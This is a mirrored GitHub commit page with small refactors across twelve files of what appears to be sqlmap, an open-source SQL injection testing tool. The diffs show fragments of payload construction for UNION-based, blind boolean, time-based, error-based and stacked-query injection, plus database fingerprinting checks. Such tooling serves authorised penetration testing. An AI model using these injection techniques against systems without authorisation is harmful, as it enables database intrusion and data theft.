Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 215175e

Browse files
committed
Minor code adjustments
1 parent 24c5d7b commit 215175e

12 files changed

Lines changed: 28 additions & 26 deletions

File tree

lib/core/agent.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -446,7 +446,7 @@ def forgeInbandQuery(self, query, exprPosition=None, nullChar="NULL"):
446446
@rtype: C{str}
447447
"""
448448

449-
inbandQuery = self.prefixQuery(" UNION ALL SELECT ")
449+
inbandQuery = self.prefixQuery("UNION ALL SELECT ")
450450

451451
if query.startswith("TOP"):
452452
topNum = re.search("\ATOP\s+([\d]+)\s+", query, re.I).group(1)

lib/request/inject.py

Lines changed: 6 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -96,7 +96,8 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r
9696
advantage of an blind SQL injection vulnerability on the affected
9797
parameter through a bisection algorithm.
9898
"""
99-
query = agent.prefixQuery(" %s" % queries[kb.misc.testedDbms].inference.query)
99+
100+
query = agent.prefixQuery(queries[kb.misc.testedDbms].inference.query)
100101
query = agent.postfixQuery(query)
101102
payload = agent.payload(newValue=query)
102103
count = None
@@ -394,12 +395,13 @@ def goStacked(expression, silent=False):
394395
if conf.direct:
395396
return direct(expression), None
396397

397-
debugMsg = "query: %s" % expression
398-
logger.debug(debugMsg)
399-
400398
comment = queries[kb.dbms].comment.query
401399
query = agent.prefixQuery("; %s" % expression)
402400
query = agent.postfixQuery("%s;%s" % (query, comment))
401+
402+
debugMsg = "query: %s" % query
403+
logger.debug(debugMsg)
404+
403405
payload = agent.payload(newValue=query)
404406
page, _ = Request.queryPage(payload, content=True, silent=silent)
405407

lib/techniques/blind/inference.py

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -441,7 +441,7 @@ def downloadThread():
441441
if commonValue is not None:
442442
# One-shot query containing equals commonValue
443443
testValue = unescaper.unescape("'%s'" % commonValue) if "'" not in commonValue else unescaper.unescape("%s" % commonValue, quote=False)
444-
query = agent.prefixQuery(" %s" % safeStringFormat("AND (%s) = %s", (expressionUnescaped, testValue)))
444+
query = agent.prefixQuery(safeStringFormat("AND (%s) = %s", (expressionUnescaped, testValue)))
445445
query = agent.postfixQuery(query)
446446
queriesCount[0] += 1
447447
result = Request.queryPage(urlencode(agent.payload(newValue=query)))
@@ -465,7 +465,7 @@ def downloadThread():
465465
# Substring-query containing equals commonPattern
466466
subquery = queries[kb.dbms].substring.query % (expressionUnescaped, 1, len(commonPattern))
467467
testValue = unescaper.unescape("'%s'" % commonPattern) if "'" not in commonPattern else unescaper.unescape("%s" % commonPattern, quote=False)
468-
query = agent.prefixQuery(" %s" % safeStringFormat("AND (%s) = %s", (subquery, testValue)))
468+
query = agent.prefixQuery(safeStringFormat("AND (%s) = %s", (subquery, testValue)))
469469
query = agent.postfixQuery(query)
470470
queriesCount[0] += 1
471471
result = Request.queryPage(urlencode(agent.payload(newValue=query)))

lib/techniques/blind/timebased.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -24,7 +24,7 @@ def timeTest():
2424
logger.info(infoMsg)
2525

2626
timeQuery = getDelayQuery(andCond=True)
27-
query = agent.prefixQuery(" AND %s" % timeQuery)
27+
query = agent.prefixQuery("AND %s" % timeQuery)
2828
query = agent.postfixQuery(query)
2929
payload = agent.payload(newValue=query)
3030
start = time.time()

lib/techniques/error/use.py

Lines changed: 7 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -35,12 +35,12 @@ def errorUse(expression):
3535
Retrieve the output of a SQL query taking advantage of an error SQL
3636
injection vulnerability on the affected parameter.
3737
"""
38+
3839
output = None
3940
logic = conf.logic
4041
randInt = randomInt(1)
41-
query = agent.prefixQuery(" %s" % queries[kb.misc.testedDbms].error.query)
42+
query = agent.prefixQuery(queries[kb.misc.testedDbms].error.query)
4243
query = agent.postfixQuery(query)
43-
payload = agent.payload(newValue=query)
4444
startLimiter = ""
4545
endLimiter = ""
4646

@@ -62,11 +62,13 @@ def errorUse(expression):
6262
startLimiter = kb.misc.handler.unescape("'%s'" % ERROR_START_CHAR)
6363
endLimiter = kb.misc.handler.unescape("'%s'" % ERROR_END_CHAR)
6464

65-
debugMsg = "query: %s" % expressionUnescaped
65+
forgedQuery = safeStringFormat(query, (logic, randInt, startLimiter, expressionUnescaped, endLimiter))
66+
67+
debugMsg = "query: %s" % forgedQuery
6668
logger.debug(debugMsg)
6769

68-
forgedPayload = safeStringFormat(payload, (logic, randInt, startLimiter, expressionUnescaped, endLimiter))
69-
result = Request.queryPage(urlencode(forgedPayload), content=True)
70+
payload = agent.payload(newValue=forgedQuery)
71+
result = Request.queryPage(urlencode(payload), content=True)
7072

7173
match = re.search('%s(?P<result>.*?)%s' % (ERROR_START_CHAR, ERROR_END_CHAR), result[0], re.DOTALL | re.IGNORECASE)
7274
if match:

lib/techniques/inband/union/test.py

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -136,7 +136,7 @@ def __unionTestByNULLBruteforce(comment):
136136
"""
137137

138138
columns = None
139-
query = agent.prefixQuery(" UNION ALL SELECT NULL")
139+
query = agent.prefixQuery("UNION ALL SELECT NULL")
140140

141141
for count in range(0, 50):
142142
if kb.dbms == "Oracle" and query.endswith(" FROM DUAL"):
@@ -164,7 +164,7 @@ def __unionTestByOrderBy(comment):
164164
prevPayload = ""
165165

166166
for count in range(1, 51):
167-
query = agent.prefixQuery(" ORDER BY %d" % count)
167+
query = agent.prefixQuery("ORDER BY %d" % count)
168168
orderByQuery = agent.postfixQuery(query, comment)
169169
payload = agent.payload(newValue=orderByQuery)
170170
seqMatcher = Request.queryPage(payload, getSeqMatcher=True)

lib/techniques/inband/union/use.py

Lines changed: 0 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -196,8 +196,6 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullCh
196196
query = agent.forgeInbandQuery(expression, nullChar=nullChar)
197197
payload = agent.payload(newValue=query)
198198

199-
# NOTE: for debug purposes only
200-
#debugMsg = "query: %s" % payload
201199
debugMsg = "query: %s" % query
202200
logger.debug(debugMsg)
203201

plugins/dbms/access/fingerprint.py

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -37,7 +37,7 @@ def __sandBoxCheck(self):
3737
elif kb.dbmsVersion[0] in ("2002-2003", "2007"):
3838
table = "MSysAccessStorage"
3939
if table:
40-
query = agent.prefixQuery(" AND EXISTS(SELECT CURDIR() FROM %s)" % table)
40+
query = agent.prefixQuery("AND EXISTS(SELECT CURDIR() FROM %s)" % table)
4141
query = agent.postfixQuery(query)
4242
payload = agent.payload(newValue=query)
4343
result = Request.queryPage(payload)
@@ -67,7 +67,7 @@ def __sysTablesCheck(self):
6767
negate = True
6868
table = table[1:]
6969
randInt = randomInt()
70-
query = agent.prefixQuery(" AND EXISTS(SELECT * FROM %s WHERE %d=%d) FROM %s" % (table, randInt, randInt, table))
70+
query = agent.prefixQuery("AND EXISTS(SELECT * FROM %s WHERE %d=%d) FROM %s" % (table, randInt, randInt, table))
7171
query = agent.postfixQuery(query)
7272
payload = agent.payload(newValue=query)
7373
result = Request.queryPage(payload)

plugins/dbms/maxdb/fingerprint.py

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -33,7 +33,7 @@ def __versionCheck(self):
3333
infoMsg = "executing SAP MaxDB SYSINFO version check"
3434
logger.info(infoMsg)
3535

36-
query = agent.prefixQuery(" /* NoValue */")
36+
query = agent.prefixQuery("/* NoValue */")
3737
query = agent.postfixQuery(query)
3838
payload = agent.payload(newValue=query)
3939
result = Request.queryPage(payload)
@@ -47,7 +47,7 @@ def __versionCheck(self):
4747
minor, major = None, None
4848

4949
for version in [6, 7]:
50-
query = agent.prefixQuery(" AND (SELECT MAJORVERSION FROM SYSINFO.VERSION)=%d" % version)
50+
query = agent.prefixQuery("AND (SELECT MAJORVERSION FROM SYSINFO.VERSION)=%d" % version)
5151
query = agent.postfixQuery(query)
5252
payload = agent.payload(newValue=query)
5353
result = Request.queryPage(payload)
@@ -56,7 +56,7 @@ def __versionCheck(self):
5656
major = version
5757

5858
for version in xrange(0, 10):
59-
query = agent.prefixQuery(" AND (SELECT MINORVERSION FROM SYSINFO.VERSION)=%d" % version)
59+
query = agent.prefixQuery("AND (SELECT MINORVERSION FROM SYSINFO.VERSION)=%d" % version)
6060
query = agent.postfixQuery(query)
6161
payload = agent.payload(newValue=query)
6262
result = Request.queryPage(payload)

plugins/dbms/mysql/fingerprint.py

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -33,7 +33,7 @@ def __commentCheck(self):
3333
infoMsg = "executing MySQL comment injection fingerprint"
3434
logger.info(infoMsg)
3535

36-
query = agent.prefixQuery(" /* NoValue */")
36+
query = agent.prefixQuery("/* NoValue */")
3737
query = agent.postfixQuery(query)
3838
payload = agent.payload(newValue=query)
3939
result = Request.queryPage(payload)
@@ -63,7 +63,7 @@ def __commentCheck(self):
6363
for version in range(element[0], element[1] + 1):
6464
randInt = randomInt()
6565
version = getUnicode(version)
66-
query = agent.prefixQuery(" /*!%s AND %d=%d*/" % (version, randInt, randInt + 1))
66+
query = agent.prefixQuery("/*!%s AND %d=%d*/" % (version, randInt, randInt + 1))
6767
query = agent.postfixQuery(query)
6868
payload = agent.payload(newValue=query)
6969
result = Request.queryPage(payload)

0 commit comments

Comments
 (0)